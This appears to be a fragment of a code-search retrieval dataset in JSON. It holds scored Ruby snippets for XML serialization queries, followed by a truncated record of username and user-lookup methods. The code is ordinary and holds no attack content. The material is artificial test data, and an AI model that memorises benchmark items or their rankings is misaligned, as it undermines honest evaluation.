"3998e3d0de80c4cdf3c341fd646a7f65", "score": "0.53114605", "text": "def to_xml\n if @xml_header.nil?\n xml = ''\n else\n xml = @xml_header.to_xml + \"\\n\"\n end\n self.document.__types.each do |t|\n xml += self.document.send(t).to_xml\n end\n return xml\n end", "title": "" }, { "docid": "4fe294d1fd1f3c6f0c715c485ff077b9", "score": "0.5288696", "text": "def to_xml\n find_correct_build.to_xml\n end", "title": "" }, { "docid": "52e61eafbf994804daa118f81a2c13af", "score": "0.5286376", "text": "def to_xml\n # Defer xml generation to the com.kd.ars.models.structure.ArsField object\n @ars_field.to_xml_string\n end", "title": "" }, { "docid": "4641d45775af4c14a4a438751ed802cb", "score": "0.5271489", "text": "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "title": "" }, { "docid": "a6c7506f89ce14a2cbe8c7800e629f89", "score": "0.5269375", "text": "def to_xml(*args)\n super\n end", "title": "" }, { "docid": "20bd52535e7fa25f908356fb2182f9c8", "score": "0.5260586", "text": "def to_xml_document(opts={}, doc=nil)\n doc ||= REXML::Document.new\n default_xml_element_name = lambda { Extlib::Inflection.underscore(self.class.name).tr(\"/\", \"-\") }\n root = doc.add_element(opts[:element_name] || default_xml_element_name[])\n\n #TODO old code base was converting single quote to double quote on attribs\n\n propset = properties_to_serialize(opts)\n propset.each do |property|\n value = send(property.name)\n node = root.add_element(property.name.to_s)\n unless property.type == String\n node.attributes[\"type\"] = property.type.to_s.downcase\n end\n node << REXML::Text.new(value.to_s) unless value.nil?\n end\n\n # add methods\n (opts[:methods] || []).each do |meth|\n if self.respond_to?(meth)\n xml_name = meth.to_s.gsub(/[^a-z0-9_]/, '')\n node = root.add_element(xml_name)\n value = send(meth)\n node << REXML::Text.new(value.to_s, :raw => true) unless value.nil?\n end\n end\n doc\n end", "title": "" }, { "docid": "7117b8e50b301cd5959cb64eb23349cc", "score": "0.52602595", "text": "def to_xml\n RAGE::XMLCodec.new.encode(self)\n end", "title": "" }, { "docid": "85f1f5f1772b51c0c0e333e30fbd3941", "score": "0.52550584", "text": "def xml_value(tag_name, value, properties = {})\n tag = XML::Node.new(tag_name.to_s) \n properties.each do |k, v|\n tag[k.to_s] = v.to_s\n end\n tag << as_cdata(value)\n tag\n end", "title": "" }, { "docid": "3c8453a4abf6932de083b8557bbbd57c", "score": "0.52540857", "text": "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if [email protected]? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "title": "" }, { "docid": "5da30dc1fe4efa684835c9f416e83b1b", "score": "0.5244958", "text": "def to_rexml\n node = REXML::Element.new(xml_tagname)\n\n node.add_namespace(self.class.namespace) if self.class.namespace\n\n self.class.attributes.each do |atr|\n val = instance_variable_get(\"@_#{atr}\")\n next unless val\n node.add_attribute(val.to_rexml)\n end\n\n xml_schema_elements.each do |name, kind, opts|\n obj = send(name)\n next unless obj\n case obj\n when Array\n obj.each do |v|\n if v.is_a? Tag\n node.add_element(v.to_rexml) #(xml_namespace)\n else\n node.add_element(REXML::Element.new(name, v.to_s))\n end\n end\n else\n if obj.is_a? Tag\n node.add_element(obj.to_rexml) #(xml_namespace)\n else\n node.add_element(REXML::Element.new(name, obj.to_s))\n end\n end\n end\n\n #if @__text\n # node.add_text(@__text.to_rexml)\n #end\n node\n end", "title": "" }, { "docid": "071af7651d5ada4bc734a0ec4e8879a8", "score": "0.52418745", "text": "def xml_for(name, tags_and_values)\n xml = Builder::XmlMarkup.new\n xml.instruct!\n xml.tag!(javaize_key(name), 'xmlns' => XML_NAMESPACE, 'version' => API_VERSION) { xml_from_array(xml, tags_and_values) }\n xml.target!\n end", "title": "" }, { "docid": "167d16e6102cab5c78cf16f9d691a0dd", "score": "0.5227196", "text": "def to_xml()\n \t el = REXML::Element.new('mp')\n \t el.add_attribute(\"name\", \"#{@mdef}\")\n \t if @opts.key?(:interval)\n \t el.add_attribute(\"interval\", \"#{@opts[:interval]}\")\n elsif @opts.key?(:samples)\n \t el.add_attribute(\"samples\", \"#{@opts[:samples]}\")\n end\n \t if @filters.size > 0\n @filters.each { |f|\n el.add_element(f.to_xml)\n \t }\n \t end\n \t return el\n \tend", "title": "" }, { "docid": "eb36933c1b86bba01adc195d33188365", "score": "0.52255124", "text": "def to_s\n \"<#{@name}\" + @attrs.sort.map{|k,v| \" #{k}='#{v.xml_attr_escape}'\"}.join +\n if @contents.size == 0\n \"/>\"\n else\n \">\" + @contents.map{|x| if x.is_a? String then x.xml_escape else x.to_s end}.join + \"</#{name}>\"\n end\n end", "title": "" }, { "docid": "e745892c732775d23befcde84ebaf314", "score": "0.5223687", "text": "def build_xml(builder)\n super(builder)\n builder.Value { |b| b.Text self.data }\n builder.UnitType { |b| eng_unit_type.build_xml(b) } unless eng_unit_type.blank?\n end", "title": "" }, { "docid": "b25b46c98dec83f23d7829195616ca87", "score": "0.5215565", "text": "def xml_document\n @root_node.to_s\n end", "title": "" }, { "docid": "b25b46c98dec83f23d7829195616ca87", "score": "0.5215565", "text": "def xml_document\n @root_node.to_s\n end", "title": "" }, { "docid": "c0e77dcc5b7f43427d17c473a5ec76f2", "score": "0.52144843", "text": "def to_xml(obj)\n obj.to_xml\n end", "title": "" }, { "docid": "0c2be912885be38bed837cb4ae59c51e", "score": "0.51960915", "text": "def xml_serialization\n {\n \"xml\" => self.xml\n }\n end", "title": "" }, { "docid": "3bc5dec9e984907ea55f5b75f230ca75", "score": "0.5189395", "text": "def to_xml\n Builder.new(owner, grants).to_s\n end", "title": "" }, { "docid": "cecec156624358d7227b5f361e55b479", "score": "0.5188484", "text": "def attributes_to_docx; end", "title": "" }, { "docid": "69abd8733e53898489c39ebc6e73722c", "score": "0.5186442", "text": "def xml_simple\n @simple ||= XmlSimple.new('NoAttr' => true, 'ForceArray' => false)\n end", "title": "" }, { "docid": "602b3a94ecb8073f6e5b3e77ee32d288", "score": "0.5186332", "text": "def address\n AddressBuilder.new(opts).to_xml\n end", "title": "" }, { "docid": "c13aad9dc0fa36690ff19c41e0f41383", "score": "0.51723456", "text": "def xml_document\n xml = XML::Document.new\n xml.root = self.to_xml\n xml\n end", "title": "" }, { "docid": "151c78fae6bbe184621a63c4ec30f253", "score": "0.51680493", "text": "def xml_document\n xml = XML::Document.new\n xml.root = self.to_xml\n xml\n end", "title": "" }, { "docid": "6a910ea4e4836e8524722de7dc794c64", "score": "0.51621693", "text": "def to_xml\n output=\"\"\n self.to_rexml.write output\n end", "title": "" }, { "docid": "faf25b0a8612802845d8bc666f53baa0", "score": "0.5160754", "text": "def doc\n @doc ||= xml_doc @xml\n end", "title": "" }, { "docid": "290151bb4d7e7f70079f7df6ab5ddd66", "score": "0.51534307", "text": "def to_xml()\n builder = Nokogiri::XML::Builder.new(:encoding => ENCODING) do |xml|\n xml.Types(:xmlns => Axlsx::XML_NS_T) {\n each { |type| type.to_xml(xml) }\n }\n end\n builder.to_xml(:save_with => 0)\n end", "title": "" }, { "docid": "ca7438d6f9c50fd82839ea68ffdf00ad", "score": "0.5150871", "text": "def to_xml\n @node.flatten.map(&:to_s).join\n end", "title": "" }, { "docid": "19f1c8dd0a7099dcabeac89c498dd5ab", "score": "0.5148093", "text": "def attributes_to_docx\n return '' if @attributes.nil? || @attributes.empty?\n ' ' + @attributes.map { |k, v| %(#{k}=\"#{v}\") }.join(' ')\n end", "title": "" }, { "docid": "b955ac63576c05df3e2c131267ccf7e9", "score": "0.51383936", "text": "def to_xml!\n self.to_hash.to_xml({:root => 'whoisapi'})\n end", "title": "" }, { "docid": "48edfbedb2f69c61436d8bf73e0e55a3", "score": "0.5133573", "text": "def to_xml(options = {})\r\n options.update :root => @root ||\r\n self.class.name.split('::').last.underscore\r\n attributes.to_xml options\r\n end", "title": "" }, { "docid": "6a33fa8473f81563171e600838e8d621", "score": "0.51282364", "text": "def element_xml(xpath)\n if NOKOGIRI\n @xml.xpath(xpath).to_s\n else\n @xml.elements[xpath].to_s\n end\n end", "title": "" }, { "docid": "14637e8083cd51e03a836f4fd2b800a3", "score": "0.5125984", "text": "def to_XML()\n element = REXML::Element.new \"depth#{@depth}\"\n element.attributes[\"name\"] = @sec_id\n element.attributes[\"value\"] = @value\n element.attributes[\"descendants\"] = @descendants\n return element\n end", "title": "" } ]
0764193c2da1a9aa2e2ba67d70985c19
Matches this importer to an user's name/address
[ { "docid": "724eef9692e2cd7dbcaeef4d71976686", "score": "0.0", "text": "def =~(options)\n return false unless options && options[:username]\n domain = username_domain(options[:username].downcase)\n !domain.empty? && DOMAINS.keys.include?( domain ) ? true : false\n end", "title": "" } ]
[ { "docid": "c3ee3b94f05714ad6ee7781aa9004ab9", "score": "0.64987653", "text": "def parse_user(name, email, trailer)\n link_to_user User.find_by_any_email(email),\n name: name,\n email: email,\n trailer: trailer\n end", "title": "" }, { "docid": "91d57ff9088c7771c48cccccfc2f09f2", "score": "0.5766615", "text": "def username\n @username ||= match[3]\n end", "title": "" }, { "docid": "dbc8b8bd49a746d0df30c0fc65a5d281", "score": "0.576339", "text": "def username\n @username ||= match[3]\n end", "title": "" }, { "docid": "adf1bd20bc6f0edec6531315ac2c024e", "score": "0.5624174", "text": "def parse_user_param\n case user\n when User\n user\n when Integer\n # might not return anything - this needs enhancement\n User.find_by(id: user) # rubocop:todo CodeReuse/ActiveRecord\n else\n # must be an email or at least we'll consider it one\n source.users_by_emails([user])[user] || user\n end\n end", "title": "" }, { "docid": "596f4b1a536fcfbaa2f939c70e687284", "score": "0.5618843", "text": "def convert_user_name_to_user_id\n @pars = address_params\n if @pars.has_key?(\"user_id\")\n name = @pars[:user_id]\n if name\n @pars[:user_id] = find_user_id(name) unless integer?(name)\n end\n end\n end", "title": "" }, { "docid": "6328bd22f77172920b483934e8e5c487", "score": "0.561824", "text": "def steal_username\n\t[\n\t\t# the user's .hgrc file for a username field\n\t\t['~/.hgrc', /^\\s*username\\s*=\\s*([\"'])?(.*)\\1$/, 2],\n\t\t# the user's .(g)vimrc for a changelog_username setting\n\t\t['~/.vimrc', /changelog_username\\s*=\\s*([\"'])?(.*)\\1$/, 2],\n\t\t['~/.gvimrc', /changelog_username\\s*=\\s*([\"'])?(.*)\\1$/, 2],\n\t].each do |fn, rx, idx|\n\t\tfile = File.expand_path fn\n\t\tif File.readable?(file) and File.read(file) =~ rx\n\t\t\tparse_options[:authors][user] = Regexp.last_match(idx).strip\n\t\t\tbreak\n\t\tend\n\tend\nend", "title": "" }, { "docid": "82c75d16eb36a13b0e4fa50f5987c4fe", "score": "0.55773616", "text": "def byline\n (name != user_name) ? name + \" (\" + user_name + \")\" : name\n end", "title": "" }, { "docid": "82c75d16eb36a13b0e4fa50f5987c4fe", "score": "0.55773616", "text": "def byline\n (name != user_name) ? name + \" (\" + user_name + \")\" : name\n end", "title": "" }, { "docid": "b627f711a5b8da839a140da04c6a8c29", "score": "0.5551811", "text": "def user_name\n if /(.*)-\\d{8}-\\d{6}$/ =~ perma_link\n return $1\n else\n return \"unknown\"\n end\n end", "title": "" }, { "docid": "e331f42039b26767de423ce2ed2e87c4", "score": "0.54586947", "text": "def user_name\n decode_string_member(:user_name)\n end", "title": "" }, { "docid": "883c12748c82fdeedf6685446c98dc44", "score": "0.5437283", "text": "def get_user_name(line)\n\n if line[\"_links\"][\"assigned_user\"].is_a?(Hash)\n href = line[\"_links\"][\"assigned_user\"][\"href\"]\n else\n return \"Not Assigned\"\n end\n\n @map ||= {}\n @map[href] ||= begin\n self.make_request(:url => \"#{ENDPOINT}#{href}\")[\"name\"]\n end\n end", "title": "" }, { "docid": "03a2c4dbe1f26b2819922e3074214b06", "score": "0.543409", "text": "def get_user(name, user_list = users)\n return name if name.instance_of?(GoodData::Membership)\n name.downcase!\n user_list.each do |user|\n return user if user.uri.downcase == name ||\n user.login.downcase == name ||\n user.email.downcase == name\n end\n nil\n end", "title": "" }, { "docid": "560588cf2c777d0378b8b070449e18a6", "score": "0.5432189", "text": "def username\n email.match(/[^@]+/).to_s\n end", "title": "" }, { "docid": "d151a0661112eb0f6a774adc87f646c3", "score": "0.541194", "text": "def parse_user search\n Hash[*search.split(',').map{|pair| pair.split('=').values_at(0..1)}.flatten]['uid']\n end", "title": "" }, { "docid": "73690604e48e5724b24590088dacb47a", "score": "0.5397073", "text": "def isUserValid?(user_name)\n @users.each do |user|\n if user.name == user_name\n then\n print \"User found!\"\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "b50da9729f2f2c2062218aa9b84bce8e", "score": "0.53733695", "text": "def match?(name, domain)\n email_domain == domain && name =~ email_user_regex\n end", "title": "" }, { "docid": "e98e2967f0fa4ebed43d3e91057b3c17", "score": "0.5370181", "text": "def valid_username?(name)\n\t\t$users_and_passwords.each do |element|\n\t\t\tif element[USERNAME] == name\n\t\t\t\t@username=name\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\t\t\t\n\t\treturn false\n\tend", "title": "" }, { "docid": "b56b9a3a29e5935e536e064d90032d76", "score": "0.5369324", "text": "def _user? name\n\t\tuid = DB[:_user].filter(:name => name).get(:uid)\n\t\tuid ? true : false\n\tend", "title": "" }, { "docid": "d7a845b9d7ea7975b609ecf42329fe23", "score": "0.53246725", "text": "def set_username\n user = User.where(ipaddress: request.remote_ip).last\n if user.present?\n @user = user\n else\n username = \"User #{User.count+1}-#{DateTime.now.to_i}\"\n @user = User.create(username: username, ipaddress: request.remote_ip)\n end\n end", "title": "" }, { "docid": "1cff1cdb0f27c2bcce5572cf0edd30fc", "score": "0.5303183", "text": "def set_user\n @user = User.includes(:addresses).find_by_username session[:username]\n end", "title": "" }, { "docid": "2c085638bed5535819fbbc5861eace86", "score": "0.5295817", "text": "def parse_list(user, listfile)\n #match only first found line, there should be no duplicates; also, case insensitive SHOULD be ok.\n line=File.readlines(listfile).select { |line| line =~ /#{user}/i }[0]\n val=line.split(':')\n return val[6].strip, val[1], val[2].strip, home \nend", "title": "" }, { "docid": "bc9b05e534e6b133712ce65764375a76", "score": "0.52715075", "text": "def set_user_name_field(user_name)\n end", "title": "" }, { "docid": "7a456f8cf594c3d3679877eb2d4b715c", "score": "0.52654386", "text": "def user_by_name(name)\n @users[name]\n end", "title": "" }, { "docid": "59ace6ee6b16bc9c98ab3930200a6a5a", "score": "0.5259409", "text": "def display_name\n #self.email.split('@')[0]\n self.username\n end", "title": "" }, { "docid": "d385b4c9c5d4f63e1cecb69fed074fd4", "score": "0.5251024", "text": "def get_record_username(user_name)\n return @userlist_table[user_name]\n end", "title": "" }, { "docid": "6e73052173f2f4386f8c01de014250bd", "score": "0.5243368", "text": "def load(filename = nil)\n\n delim = /\\s*;\\s*/\n CSV.foreach(filename) do |row|\n\n # Recreate the Aspire user profile JSON API response from the CSV record\n uri = row[3]\n data = {\n 'email' => (row[4] || '').split(delim),\n 'firstName' => row[0],\n 'role' => (row[7] || '').split(delim),\n 'surname' => row[1],\n 'uri' => row[3]\n }\n\n # Create the user and set the primary email and username\n user = User.new(uri, nil, self.email_selector, self.ldap_lookup, json: data)\n\n # Add the user to the lookup table\n self[uri] = user\n\n end\n\n nil\n\n end", "title": "" }, { "docid": "0e65467b0eecfc3b8a1ecf14aebacd38", "score": "0.52394974", "text": "def username_is_email\n errors.add(:userName,'is not in email format') unless userName=~ /^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i\n end", "title": "" }, { "docid": "34d7c77844c6705b86aa7d60aeb13c42", "score": "0.5229167", "text": "def _user? name\n\t\tuid = Sdb[:_user].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend", "title": "" }, { "docid": "0edde0a1affbee4cc4928264a081f3ba", "score": "0.52242255", "text": "def find_user_byname(username)\n @user = User.where(username: username)\n end", "title": "" }, { "docid": "cad899c33571a98474f65fe945d2734b", "score": "0.52194536", "text": "def user?(jid)\n users.include?(jid.to_s.downcase)\n end", "title": "" }, { "docid": "6332d66257fe0c1a08fd2e3a60bc645a", "score": "0.5212338", "text": "def get_user(name, user_list = users)\n return member(name) if name.instance_of?(GoodData::Membership)\n return member(name) if name.instance_of?(GoodData::Profile)\n name = name.is_a?(Hash) ? name[:login] || name[:uri] : name\n return nil unless name\n name.downcase!\n user_list.find do |user|\n user.uri && user.uri.downcase == name ||\n user.login && user.login.downcase == name\n end\n end", "title": "" }, { "docid": "292f0caf502d84a068ff5f0aa741545b", "score": "0.5211575", "text": "def find_user?(username, users)\n users.each do |user|\n if user[0] == username\n puts user[0]\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "4dec797fd2f00a13b3c473d383452ea9", "score": "0.5204972", "text": "def user_firstname\n return @message[:user][:name].split(' ').first\n end", "title": "" }, { "docid": "178e6a4d76d43a34bd3d54e01ec34928", "score": "0.52030313", "text": "def check_user_address(user, type)\n addr = user.send(type)\n\n if addr && addr.user_id && addr.user_id != user.id\n Rails.logger.warn \"BUG!!! User #{user.id} does not own their #{type} #{addr.id}.\"\n end\n\n addr\n end", "title": "" }, { "docid": "91f07dc8c9d3aacf46c32d99d1134bae", "score": "0.5189829", "text": "def format_username\n \t_email_base = self.email[/[^@]+/]\n \tself.username ||= _email_base.camelize.underscore.gsub(/\\./,\"_\") unless _email_base.nil?\n\n end", "title": "" }, { "docid": "6f30fbec6342d57360d78d0686bc961c", "score": "0.51855195", "text": "def getUserName(userName)\n if(userName != nil)\n user = loadUser(userName)\n return user[\"fname\"]+\" \"+user[\"lname\"]\n end\n return \"User not Found!\"\n end", "title": "" }, { "docid": "6ad7faeed181b9b366ea2e0745ed277d", "score": "0.5183155", "text": "def set_user\n params.delete :matched_desc\n params.delete :host_prep\n params.delete :would_ret\n @user = User.where(user_id: params[:userId])\n end", "title": "" }, { "docid": "5816b9765684596a72a87870b9f08579", "score": "0.51824284", "text": "def preprocess_username\n @username = @options[:ldap][:username_prefix] + @username if @options[:ldap][:username_prefix]\n end", "title": "" }, { "docid": "86fb82c5c8e403d2d168ae59e53f163a", "score": "0.51757777", "text": "def identify(username_or_email)\n return nil if username_or_email.blank? or username_or_email == 'Public'\n \n if username_or_email =~ /@/ \n active.find_by_email(username_or_email)\n else\n active.find_by_username(username_or_email)\n end \n end", "title": "" }, { "docid": "0c64b815fbd2608a36e945711346b0e8", "score": "0.5174747", "text": "def usernames\n Message::Statement.display_usernames(raw_data.keys)\n end", "title": "" }, { "docid": "d3e4666cb5801fd1efe1d91cc47cf74c", "score": "0.517459", "text": "def tweet_user(tweet) \n if ! tweet.is_a?(String)\n base = tweet.has_key?(:from_user) ? tweet[:from_user] : tweet[:user][:screen_name]\n else\n base = tweet\n end\n base =~ /^@/ ? base : \"@#{base}\"\n end", "title": "" }, { "docid": "7f7c03e5868dc631923d6043afb252e2", "score": "0.51619995", "text": "def names_by_user # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Name, :by_user, :user => user)\n show_selected_names(query)\n end\n end", "title": "" }, { "docid": "a60ac2aa3a219f74a44774f13d70b1d9", "score": "0.5161631", "text": "def user_by_name(user = \"default\")\n url = user =~ /^http/ ? user : \"http://gdata.youtube.com/feeds/users/#{user}\"\n parser = YouTubeG::Parser::UserFeedParser.new(url, request_headers, request_options)\n parser.parse\n end", "title": "" }, { "docid": "ac75326d510efa77f8e34ecc4a666daa", "score": "0.5160335", "text": "def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end", "title": "" }, { "docid": "e0bb1eba2a4d90db5014b84c3f7a0b26", "score": "0.51559514", "text": "def valid_user_name(login, name)\n valid = false\n imperfect = false\n email = email(name, login, false)\n if email\n valid, imperfect = true, false\n else\n email = email(name, login, false, true)\n valid, imperfect = true, true if email\n end\n [valid, imperfect]\n end", "title": "" }, { "docid": "949a8cbff87b0fce92e4b1af44d8209e", "score": "0.51550406", "text": "def load_surnames(src)\n parse_file(src, \"surname\")\n end", "title": "" }, { "docid": "934f8cc9d77e811552d200ebbb851fb5", "score": "0.5150609", "text": "def user_has? name\n\t\tuid = Sdb[:user_info].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend", "title": "" }, { "docid": "b3a4cc1d0fadb0b504f70490d1cf0920", "score": "0.51332897", "text": "def email_addr_acceptable\n #start\n #@user_name = params[:user_name]\n return true\n end", "title": "" }, { "docid": "b46441fb48ff2acfd604b7b3f7092925", "score": "0.51319444", "text": "def find_profile_user(full_name)\n name = split_phrase(full_name)\n profile = Profile.find_by_first_name_and_last_name(name.first, name.last)\n user = profile.user unless profile.blank?\n user\n end", "title": "" }, { "docid": "c292660437a01cde99f6c87269098f2d", "score": "0.5125879", "text": "def existingUserName\n userName = params['userName']\n userName = userName[0] == \"@\" ? userName:\"@\".concat(userName)\n user = UsersRecord.where(\"username like '%#{userName}%' \")\n allRecord = []\n user.each do |rec|\n eachrecord={}\n eachrecord[:username] = rec.username\n eachrecord[:userfullname] = rec.userfullname\n eachrecord[:userid] = rec.userid\n eachrecord[:dp] = (rec.dp.attached?) ? url_for(rec.dp) : \"\"\n allRecord.push(eachrecord)\n end\n render json: allRecord.as_json, status: :ok\n end", "title": "" }, { "docid": "b5b7f2d0d8598de2069ffabbb79d498a", "score": "0.51252615", "text": "def user_address\n\tend", "title": "" }, { "docid": "e01d3e9b48e414b573ae9cad69a1d877", "score": "0.5122178", "text": "def from\n Skydrive::User.new(client, object[\"from\"]) if object[\"from\"]\n end", "title": "" }, { "docid": "734beab01d5eaab66e96f3fceaf13b8a", "score": "0.5120549", "text": "def normalize_user_name\n\t\tself.user_name = user_name.downcase\n\tend", "title": "" }, { "docid": "41da1e96b7fa159c7eecc0215a68bc36", "score": "0.5119622", "text": "def founder\n Atheme::User.new(@session, match(/Founder\\s+:\\s+(\\w+)/))\n end", "title": "" }, { "docid": "c47e9d40f250d43c12582cb951f05991", "score": "0.51169795", "text": "def named_according_to_LORIS_convention?(userfile)\n if userfile.name =~ FILE_NAME_REGEX\n [ Regexp.last_match[1], Regexp.last_match[2] ]\n end\n end", "title": "" }, { "docid": "7fdf04ced64d82a8c68977c66df7c618", "score": "0.5103475", "text": "def name_of_user(username)\n username.split('.').map(&:capitalize)\n end", "title": "" }, { "docid": "4f6c1db6787b6d077224c46001b4141b", "score": "0.51029825", "text": "def find_user(username)\n user_search_form = @mahara_dashboard_page.form_with(:id => 'usf')\n user_search_form.field_with(:name => \"query\").value = username\n find_contacts_page = user_search_form.submit\n # extract all users from the search result list\n friendslist = find_contacts_page.at('#friendslist')\n users = extract_members(friendslist, nil, 'individual', false)\n end", "title": "" }, { "docid": "ac8da64bc9a251acca086347a5233cb1", "score": "0.50969964", "text": "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "title": "" }, { "docid": "0ed41a09844a2e1e3886e2163bcfcaba", "score": "0.5096593", "text": "def get_user(name)\n @file = \"/private/var/db/dslocal/nodes//#{resource[:dslocal_node]}/users/#{name}.plist\"\n NSMutableDictionary.dictionaryWithContentsOfFile(@file)\n end", "title": "" }, { "docid": "7931875763b0360f91ab0e1439269d63", "score": "0.50965166", "text": "def guessFromEmail\n name = self.email[ /[^@]+/ ]\n return false if !name\n name = name.split( \".\" )\n\n self.fname = name[0].downcase\n self.lname = name[1].downcase || ''\n self.save\n end", "title": "" }, { "docid": "1b78dd39efb700e2a6cb23565a9ba82b", "score": "0.5083185", "text": "def look_for_user(name)\n User.find_by name: name\nend", "title": "" }, { "docid": "67d7a6aca9b806f62e74ad50f99d3f04", "score": "0.50830114", "text": "def find user_name\n response = @client.action \"DescribeUser\", \"Name\" => user_name\n\n Response::User.new response.body['DescribeUserResponse']\n rescue Hugs::Errors::BadRequest\n end", "title": "" }, { "docid": "e0aff5a6c4d96f4df743d99d36e7b3b9", "score": "0.5078192", "text": "def include?(user)\n BaseFilter.string_includes?(user.full_name, full_name) &&\n BaseFilter.string_matches?(user.user_is_current, user_is_current)\n end", "title": "" }, { "docid": "20be88ecb18c02570a916dff07f92043", "score": "0.5075798", "text": "def name( user )\n link_to user[\"first_name\"][0..8], link( user[\"uid\"] ), :target => \"_blank\"\n end", "title": "" }, { "docid": "99931fdf0c335a741d0cd6c3f2a7323c", "score": "0.5072677", "text": "def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end", "title": "" }, { "docid": "f36db345f1712732a78585223a59f178", "score": "0.5071953", "text": "def try_display_name\n [display_name, username].find(&:present?)\n end", "title": "" }, { "docid": "0f10f731b269da0d1ed7cd6215e1ec58", "score": "0.5071204", "text": "def name=(user_name)\n @first_name, @last_name = user_name.split\n # The above simplified code does the same as below!!!\n # names = user_name.split\n # @first_name = names[0]\n # @last_name = names[1]\n end", "title": "" }, { "docid": "566cbf3eba5956308d21af0790f05b49", "score": "0.50586414", "text": "def identifier\n name.presence || email.split('@').join(' from ')\n end", "title": "" }, { "docid": "98d7c6f7a51c78569eb53b47a6139e12", "score": "0.50583446", "text": "def get_user(username, users)\n puts \"Searching for user '#{username}'\"\n users.each do |user|\n return user if user[:username] == username\n end\n puts \"User #{username} not found!\"\n return nil\n end", "title": "" }, { "docid": "8cea7eb28a5a28f3d765de5586083a6b", "score": "0.5055357", "text": "def username(fname, lname)\n [fname, lname].join('.').downcase\n end", "title": "" }, { "docid": "1d32be2d9859515d496cfabfc4ece166", "score": "0.50551474", "text": "def named_user(name = context&.user)\n return nil if name.nil?\n\n users.find { |c| c.name == name }\n end", "title": "" }, { "docid": "85157840db0547704f61f3e3459a9fb8", "score": "0.5054211", "text": "def username_reserved?\n ReservedUsernames.include?(username)\n end", "title": "" }, { "docid": "aec256e5fa49f734a9ccb5643266d239", "score": "0.50519", "text": "def user(arg = nil)\n set_or_return(\n :user,\n arg,\n kind_of: String,\n regex: Chef::Config[:user_valid_regex],\n )\n end", "title": "" }, { "docid": "f23bfb4e91df0efae7acc840533b3477", "score": "0.50486946", "text": "def checkUser(userName)\n @users = User.all\n @users.each do |user|\n if user[\"userName\"] == userName\n return user\n end\n end\n return false\n end", "title": "" }, { "docid": "874b071de8524a14330b8d5afa7e4596", "score": "0.5047374", "text": "def user?(username)\n\t\t\t\tif(users.has_key?(username))\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\treturn(false)\n\t\t\tend", "title": "" }, { "docid": "e1f56d90f7683bd801990c136dfda282", "score": "0.5046211", "text": "def exists?(username)\n File.open(FTPUSERS_PATH, 'r') do |f|\n f.each_line do |line|\n existing_user = line.split(':').first\n if username.eql?(existing_user)\n return true\n end\n end\n end\n\n return false\n end", "title": "" }, { "docid": "514e18f4d63a6c428f640ee372b1d205", "score": "0.50441813", "text": "def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end", "title": "" }, { "docid": "514e18f4d63a6c428f640ee372b1d205", "score": "0.50441813", "text": "def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end", "title": "" }, { "docid": "af72ffbba0d544889e40728bd3d4a67c", "score": "0.50383234", "text": "def find_or_create_user(extractor)\n Email.find_by_email(extractor.email).try(:user) ||\n IclaSignature.find_by_email(extractor.email).try(:user) ||\n User.create! do |user|\n user.first_name = extractor.first_name\n user.last_name = extractor.last_name\n end\n end", "title": "" }, { "docid": "d33a392a08c60753a67c72b04f8b32d0", "score": "0.5038178", "text": "def extract_user(*args)\n user = if args.first.is_a?User\n args.shift\n end\n user\n end", "title": "" }, { "docid": "0a9c7c8f5dcf12e3abe3fab75f9dc3e1", "score": "0.5031745", "text": "def same_visible_username?(username)\n real_username.downcase == username.downcase\n end", "title": "" }, { "docid": "4da4374a01e81117c19627c09002f722", "score": "0.5031112", "text": "def bind_by_username\n username_attribute = options[:ldap][:username_attribute] || default_username_attribute\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end", "title": "" }, { "docid": "fb903b3bdea27f76bd6e9dfdbc8e5422", "score": "0.5023193", "text": "def find_uiby_username(uname)\n User.all.find do |user|\n if user.username == uname \n user \n end\n end\n end", "title": "" }, { "docid": "f1555eec546cbb366a7536d77ac0ebce", "score": "0.50169116", "text": "def check_username\n @user=User.where('username=?',params[:username])\n @user=[] if user_signed_in? && @user && @user.first==current_user # this means they are editing their username and its themselves, that is ok\n end", "title": "" }, { "docid": "4923ea92959aee350b29b9374880ff9c", "score": "0.50165206", "text": "def username_is_acceptable\n errors.add(:username, \"^That username is unacceptable\") unless User.verify_username_is_acceptable(self.username)\n end", "title": "" }, { "docid": "dad61ea62245900ecd0fd9d43ddad56f", "score": "0.5015081", "text": "def existing_username\n valid = true\n existing_username = DATABASE.execute(\"SELECT * FROM members WHERE username = '#{username}';\")\n \n if !existing_username.empty?\n valid = false\n end\n return valid\n end", "title": "" }, { "docid": "6af7ce063275424ca1485fc783c472b5", "score": "0.5014979", "text": 